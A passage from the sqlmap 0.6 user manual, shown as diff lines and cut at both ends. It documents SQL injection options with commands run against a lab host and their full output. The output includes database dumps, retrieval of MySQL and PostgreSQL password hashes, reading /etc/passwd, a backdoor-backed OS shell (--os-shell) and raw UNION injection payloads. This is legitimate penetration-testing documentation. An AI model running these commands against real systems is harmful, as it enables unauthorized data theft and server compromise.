+[hh:mm:59] [INFO] Fetched data logged to text files under '/software/sqlmap/output/
+192.168.1.121'
+
+$ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
+"id","name","surname"
+"1","luther","blissett"
+"2","fluffy","bunny"
+"3","wu","ming"
+"4","sqlmap/0.6 (http://sqlmap.sourceforge.net)","user agent header"
+"5","","nameisnull"
+
+
+
+
+
+Options: --dump-all
and --exclude-sysdbs
It is possible to dump all databases tables entries at once.
+Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump-all
+
+Database: test
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name | surname |
++----+--------------------------------------------+-------------------+
+| 1 | luther | blissett |
+| 2 | fluffy | bunny |
+| 3 | wu | ming |
+| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 5 | NULL | nameisnull |
++----+--------------------------------------------+-------------------+
+
+Database: information_schema
+Table: CHARACTER_SETS
+[36 entries]
++--------------------+----------------------+-----------------------------+--------+
+| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION | MAXLEN |
++--------------------+----------------------+-----------------------------+--------+
+| tis620 | tis620_thai_ci | TIS620 Thai | 1 |
+| macroman | macroman_general_ci | Mac West European | 1 |
+| dec8 | dec8_swedish_ci | DEC West European | 1 |
+| ujis | ujis_japanese_ci | EUC-JP Japanese | 3 |
+| eucjpms | eucjpms_japanese_ci | UJIS for Windows Japanese | 3 |
+| armscii8 | armscii8_general_ci | ARMSCII-8 Armenian | 1 |
+| ucs2 | ucs2_general_ci | UCS-2 Unicode | 2 |
+| hp8 | hp8_english_ci | HP West European | 1 |
+| latin2 | latin2_general_ci | ISO 8859-2 Central European | 1 |
+| koi8u | koi8u_general_ci | KOI8-U Ukrainian | 1 |
+| keybcs2 | keybcs2_general_ci | DOS Kamenicky Czech-Slovak | 1 |
+| ascii | ascii_general_ci | US ASCII | 1 |
+| cp866 | cp866_general_ci | DOS Russian | 1 |
+| cp1256 | cp1256_general_ci | Windows Arabic | 1 |
+| macce | macce_general_ci | Mac Central European | 1 |
+| sjis | sjis_japanese_ci | Shift-JIS Japanese | 2 |
+| geostd8 | geostd8_general_ci | GEOSTD8 Georgian | 1 |
+| cp1257 | cp1257_general_ci | Windows Baltic | 1 |
+| cp852 | cp852_general_ci | DOS Central European | 1 |
+| euckr | euckr_korean_ci | EUC-KR Korean | 2 |
+| cp1250 | cp1250_general_ci | Windows Central European | 1 |
+| cp1251 | cp1251_general_ci | Windows Cyrillic | 1 |
+| binary | binary | Binary pseudo charset | 1 |
+| big5 | big5_chinese_ci | Big5 Traditional Chinese | 2 |
+| gb2312 | gb2312_chinese_ci | GB2312 Simplified Chinese | 2 |
+| hebrew | hebrew_general_ci | ISO 8859-8 Hebrew | 1 |
+| koi8r | koi8r_general_ci | KOI8-R Relcom Russian | 1 |
+| greek | greek_general_ci | ISO 8859-7 Greek | 1 |
+| cp850 | cp850_general_ci | DOS West European | 1 |
+| utf8 | utf8_general_ci | UTF-8 Unicode | 3 |
+| latin1 | latin1_swedish_ci | cp1252 West European | 1 |
+| latin7 | latin7_general_ci | ISO 8859-13 Baltic | 1 |
+| cp932 | cp932_japanese_ci | SJIS for Windows Japanese | 2 |
+| latin5 | latin5_turkish_ci | ISO 8859-9 Turkish | 1 |
+| swe7 | swe7_swedish_ci | 7bit Swedish | 1 |
+| gbk | gbk_chinese_ci | GBK Simplified Chinese | 2 |
++--------------------+----------------------+-----------------------------+--------+
+
+[...]
+
+
+
+
+You can also provide the --exclude-sysdbs
option to exclude all
+system databases so that sqlmap will only dump entries of users' databases
+tables.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump-all \
+ --exclude-sysdbs
+
+Database: master
+Table: spt_datatype_info_ext
+[10 entries]
++----------------+-----------------+-----------+-----------+
+| AUTO_INCREMENT | CREATE_PARAMS | typename | user_type |
++----------------+-----------------+-----------+-----------+
+| 0 | length | char | 175 |
+| 0 | precision,scale | numeric | 108 |
+| 0 | max length | varbinary | 165 |
+| 0 | precision,scale | decimal | 106 |
+| 1 | precision | numeric | 108 |
+| 0 | length | nchar | 239 |
+| 0 | max length | nvarchar | 231 |
+| 0 | length | binary | 173 |
+| 0 | max length | varchar | 167 |
+| 1 | precision | decimal | 106 |
++----------------+-----------------+-----------+-----------+
+
+[...]
+
+Database: master
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name | surname |
++----+--------------------------------------------+-------------------+
+| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 2 | fluffy | bunny |
+| 1 | luther | blisset |
+| 3 | wu | ming |
+| 5 | NULL | nameisnull |
++----+--------------------------------------------+-------------------+
+
+[...]
+
+
+
+
+Note that on Microsoft SQL Server the master
database is not
+considered a system database because some database administrators use it
+as a users' database.
Options: --sql-query
and --sql-shell
The SQL query and the SQL shell features makes the user able to run
+whatever SELECT
statement on the web application's back-end
+database management system and retrieve its output.
Examples on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT 'foo'" -v 1
+
+[...]
+[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
+[hh:mm:14] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
+(CHAR(32)))
+[hh:mm:14] [INFO] retrieved: foo
+[hh:mm:14] [INFO] performed 27 queries in 0 seconds
+SELECT 'foo': 'foo'
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT 'foo', 'bar'" -v 1
+
+[...]
+[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
+[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
+distinct queries to be able to retrieve the output even if we are going blind
+[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
+(CHAR(32)))
+[hh:mm:50] [INFO] retrieved: foo
+[hh:mm:50] [INFO] performed 27 queries in 0 seconds
+[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
+(CHAR(32)))
+[hh:mm:50] [INFO] retrieved: bar
+[hh:mm:50] [INFO] performed 27 queries in 0 seconds
+SELECT 'foo', 'bar': 'foo, bar'
+
+
+
+
+As you can see from this last example, sqlmap splits the query in two
+different SELECT
statement to be able to retrieve the output even
+in blind SQL injection technique.
+Otherwise in inband SQL injection technique it only perform a single HTTP
+request to get the user's query output:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT 'foo', 'bar'" -v 1 --union-use
+
+[...]
+[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
+[hh:mm:03] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
+[hh:mm:03] [INFO] confirming inband sql injection on parameter 'id'
+[hh:mm:03] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:03] [INFO] query: UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
+CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
++(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
+CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+
+CHAR(116)), NULL-- AND 8373=8373
+[hh:mm:03] [INFO] performed 3 queries in 0 seconds
+SELECT 'foo', 'bar' [1]:
+[*] foo, bar
+
+
+
+
+Examples on an Oracle XE 10.2.0.1 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT 'foo' FROM dual"
+
+[hh:mm:04] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] n
+SELECT 'foo' FROM dual: 'foo'
+
+
+
+
+As you can see, if your SELECT
statement contains a FROM
+clause, sqlmap asks the user if such statement can return multiple entries
+and in such case the tool knows how to unpack the query correctly to
+retrieve its whole output line per line.
Example on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT usename FROM pg_user"
+
+[hh:mm:47] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
+[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries
+do you want to retrieve?
+[a] All (default)
+[#] Specific number
+[q] Quit
+Choice: 2
+SELECT usename FROM pg_user [2]:
+[*] postgres
+[*] testuser
+
+
+
+
+As you can see, in the last example sqlmap counts the number of entries
+for your query and asks how many entries from the top you want to dump.
+Otherwise if you specify also the LIMIT
, or similar, clause
+sqlmap will not ask anything, just unpack the query and return its
+output.
Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-query \
+ "SELECT user, host, password FROM mysql.user LIMIT 1, 3" -v 1
+
+[...]
+back-end DBMS: MySQL >= 5.0.0
+
+[hh:mm:11] [INFO] fetching SQL SELECT query output: 'SELECT user, host, password FROM
+mysql.user LIMIT 1, 3'
+[hh:mm:12] [INFO] the SQL query provided has more than a field. sqlmap will now unpack
+it into distinct queries to be able to retrieve the output even if we are going blind
+[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 1, 1
+[hh:mm:12] [INFO] retrieved: root
+[hh:mm:12] [INFO] performed 34 queries in 0 seconds
+[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 1, 1
+[hh:mm:12] [INFO] retrieved: localhost
+[hh:mm:12] [INFO] performed 69 queries in 0 seconds
+[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 1, 1
+[hh:mm:12] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[hh:mm:13] [INFO] performed 293 queries in 0 seconds
+[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 2, 1
+[hh:mm:13] [INFO] retrieved: root
+[hh:mm:13] [INFO] performed 34 queries in 0 seconds
+[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 2, 1
+[hh:mm:13] [INFO] retrieved: leboyer
+[hh:mm:13] [INFO] performed 55 queries in 0 seconds
+[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 2, 1
+[hh:mm:13] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[hh:mm:14] [INFO] performed 293 queries in 0 seconds
+[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 3, 1
+[hh:mm:14] [INFO] retrieved: root
+[hh:mm:14] [INFO] performed 34 queries in 0 seconds
+[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 3, 1
+[hh:mm:14] [INFO] retrieved: 127.0.0.1
+[hh:mm:14] [INFO] performed 69 queries in 0 seconds
+[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
+ORDER BY user ASC LIMIT 3, 1
+[hh:mm:14] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[hh:mm:15] [INFO] performed 293 queries in 0 seconds
+SELECT user, host, password FROM mysql.user LIMIT 1, 3 [3]:
+[*] root, localhost, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[*] root, leboyer, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[*] root, 127.0.0.1, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+
+
+
+
+The SQL shell option gives you access to run your own SQL SELECT
+statement interactively, like a SQL console logged into the back-end
+database management system.
+This feature has TAB completion and history support.
Example of history support on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell
+
+sql> SELECT 'foo'
+SELECT 'foo': 'foo'
+
+sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell]
+sql> SELECT version()
+SELECT version(): 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3
+(Ubuntu 4.2.3-2ubuntu4)'
+
+sql> exit
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell
+
+sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
+sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
+[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
+[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries
+do you want to retrieve?
+[a] All (default)
+[#] Specific number
+[q] Quit
+Choice:
+SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
+[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
+[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
+[*] testuser2,
+
+
+
+
+Example of TAB completion on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell
+
+sql> [TAB TAB]
+AND ORD(MID((%s), %d, 1)) > %d
+CAST(%s AS CHAR(10000))
+COUNT(%s)
+CURRENT_USER()
+DATABASE()
+IFNULL(%s, ' ')
+LENGTH(%s)
+LIMIT %d, %d
+MID((%s), %d, %d)
+ORDER BY %s ASC
+SELECT %s FROM %s.%s
+SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND
+table_schema='%s'
+SELECT grantee FROM information_schema.USER_PRIVILEGES
+SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
+SELECT schema_name FROM information_schema.SCHEMATA
+SELECT table_schema, table_name FROM information_schema.TABLES
+SELECT user, password FROM mysql.user
+VERSION()
+sql> SE[TAB]
+sql> SELECT
+
+
+
+
+As you can see the TAB functionality shows the queries defined for the
+back-end database management system in sqlmap XML queries file, but you
+can run whatever SELECT
statement that you want.
Example of asterisk expansion on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell \
+ -v 1
+
+[...]
+[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
+sql> SELECT * FROM test.users
+[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users'
+[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column
+names itself.
+[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
+[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test'
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) FROM
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
+table_schema=CHAR(116,101,115,116)
+[hh:mm:48] [INFO] retrieved: 3
+[hh:mm:48] [INFO] performed 13 queries in 0 seconds
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
+table_schema=CHAR(116,101,115,116) LIMIT 0, 1
+[hh:mm:48] [INFO] retrieved: id
+[hh:mm:48] [INFO] performed 20 queries in 0 seconds
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
+table_schema=CHAR(116,101,115,116) LIMIT 1, 1
+[hh:mm:48] [INFO] retrieved: name
+[hh:mm:48] [INFO] performed 34 queries in 0 seconds
+[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
+information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
+table_schema=CHAR(116,101,115,116) LIMIT 2, 1
+[hh:mm:48] [INFO] retrieved: surname
+[hh:mm:48] [INFO] performed 55 queries in 0 seconds
+[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
+[hh:mm:48] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
+[hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM test.users
+[hh:mm:04] [INFO] retrieved: 5
+[hh:mm:04] [INFO] performed 13 queries in 0 seconds
+[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many entries
+do you want to retrieve?
+[a] All (default)
+[#] Specific number
+[q] Quit
+Choice: 3
+[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 0, 1
+[hh:mm:09] [INFO] retrieved: 1
+[hh:mm:09] [INFO] performed 13 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 0, 1
+[hh:mm:09] [INFO] retrieved: luther
+[hh:mm:09] [INFO] performed 48 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 0, 1
+[hh:mm:09] [INFO] retrieved: blissett
+[hh:mm:09] [INFO] performed 62 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 1, 1
+[hh:mm:09] [INFO] retrieved: 2
+[hh:mm:09] [INFO] performed 13 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 1, 1
+[hh:mm:09] [INFO] retrieved: fluffy
+[hh:mm:09] [INFO] performed 48 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 1, 1
+[hh:mm:09] [INFO] retrieved: bunny
+[hh:mm:09] [INFO] performed 41 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 2, 1
+[hh:mm:09] [INFO] retrieved: 3
+[hh:mm:09] [INFO] performed 13 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 2, 1
+[hh:mm:09] [INFO] retrieved: wu
+[hh:mm:09] [INFO] performed 20 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 2, 1
+[hh:mm:09] [INFO] retrieved: ming
+[hh:mm:10] [INFO] performed 34 queries in 0 seconds
+SELECT * FROM test.users [3]:
+[*] 1, luther, blissett
+[*] 2, fluffy, bunny
+[*] 3, wu, ming
+
+
+
+
+As you can see in this last example, if the SELECT
statement has
+an asterisk instead of the column(s) name, sqlmap first retrieves the
+column names of the table then asks if the query can return multiple
+entries and goes on.
Option: --read-file
If the back-end database management system is MySQL and the current user
+has access to the LOAD_FILE()
function, it is possible to read
+the content of a specific file from the file system.
Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \
+ --read-file /etc/passwd
+
+/etc/passwd:
+---
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+bin:x:2:2:bin:/bin:/bin/sh
+sys:x:3:3:sys:/dev:/bin/sh
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/bin/sh
+man:x:6:12:man:/var/cache/man:/bin/sh
+lp:x:7:7:lp:/var/spool/lpd:/bin/sh
+mail:x:8:8:mail:/var/mail:/bin/sh
+news:x:9:9:news:/var/spool/news:/bin/sh
+uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
+proxy:x:13:13:proxy:/bin:/bin/sh
+www-data:x:33:33:www-data:/var/www:/bin/false
+backup:x:34:34:backup:/var/backups:/bin/sh
+nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
+mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
+postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
+inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
+---
+
+
+
+
+
+Option: --os-shell
If the back-end database management system is MySQL, the web application's +programming language is PHP and you, or sqlmap itself, found a writable +directory within the web server document root path, sqlmap can prompt for +an interactive operating system shell on the back-end database management +system.
+ +Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \
+ --os-shell
+
+[hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path
+[hh:mm:49] [WARNING] unable to retrieve the remote web server document root
+[hh:mm:49] [INPUT] please provide the web server document root [/var/www]:
+[hh:mm:53] [INPUT] please provide a list of directories absolute path comma separated that
+you want sqlmap to try to upload the agent [/var/www/test]:
+[hh:mm:55] [INPUT] do you want to use the uploaded backdoor as a shell to execute commands
+right now? [Y/n] y
+$ id
+uid=33(www-data) gid=33(www-data) groups=33(www-data)
+$ exit
+
+
+
+
+As you might notice, such operating system shell has the same +functionalities of SQL shell.
+ + +Option: --union-test
It is possible to test if the target URL is affected by an inband +SQL injection vulnerability. +Refer to the Techniques section for details on this SQL injection +technique.
+ +Example on an Oracle XE 10.2.0.1 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
+ --union-test -v 1
+
+[...]
+back-end DBMS: Oracle
+
+[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
+NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2'
+
+
+
+
+Example on a PostgreSQL 8.2.7 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \
+ --union-test -v 1
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:05] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT
+NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2'
+
+
+
+
+As you can see, the target URL parameter id
might be also
+affected by an inband SQL injection.
+In case this vulnerability is exploitable it is strongly recommended to
+use it.
Option: --union-use
Providing the --union-use
parameter, sqlmap will first test if
+the target URL is affected by an inband SQL injection
+(--union-test
) vulnerability then, in case it is vulnerable and
+exploitable, it will trigger this vulnerability to retrieve the output of
+the SELECT
queries.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \
+ --union-use --banner
+
+[...]
+back-end DBMS: Microsoft SQL Server 2000
+
+[hh:mm:42] [INFO] fetching banner
+[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
+[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
+CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
+CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
+[hh:mm:42] [INFO] performed 3 queries in 0 seconds
+banner:
+---
+Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
+ Aug 6 2000 00:57:48
+ Copyright (c) 1988-2000 Microsoft Corporation
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+---
+
+
+
+
+As you can see, the vulnerable parameter (id
) is affected by both
+blind SQL injection and exploitable inband SQL injection vulnerabilities.
Example on a MySQL 5.0.51 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \
+ --union-use --banner
+
+[...]
+[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
+IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL--
+AND 6043=6043
+[hh:mm:25] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
+%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29
+%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
+06043=6043&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Mon, 28 Jul 2008 22:34:25 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 194
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr>
+</table>
+</body></html>
+
+[hh:mm:25] [INFO] performed 3 queries in 0 seconds
+banner: '5.0.51a-3ubuntu5.2'
+
+
+
+
+As you can see, the MySQL version()
function (banner) output is
+nested (inband) within the HTTP response page, this makes the inband SQL
+injection exploitable.
Option: --eta
It is possible to calculate and show the estimated time of arrival to +retrieve each query output in real time while performing the SQL injection +attack.
+ +Example on an Oracle XE 10.2.0.1 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b \
+ --eta -v 1
+
+[...]
+back-end DBMS: Oracle
+
+[hh:mm:24] [INFO] fetching banner
+[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query
+output again
+[hh:mm:24] [INFO] retrieved the length of query output: 64
+[hh:mm:24] [INFO] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version
+WHERE ROWNUM=1
+77% [=======================================> ] 49/64 ETA 00:00
+
+
+
+
+then:
++
+
+100% [====================================================] 64/64
+[hh:mm:15] [INFO] performed 454 queries in 2 seconds
+banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
+
+
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" \
+ --users --eta -v 1
+
+[...]
+back-end DBMS: Microsoft SQL Server 2000
+
+[hh:mm:57] [INFO] fetching database users
+[hh:mm:57] [INFO] fetching number of database users
+[hh:mm:57] [INFO] query: SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS VARCHAR(8000)),
+(CHAR(32))) FROM master..syslogins
+[hh:mm:57] [INFO] retrieved: 3
+[hh:mm:57] [INFO] performed 13 queries in 0 seconds
+[hh:mm:57] [INFO] retrieved the length of query output: 22
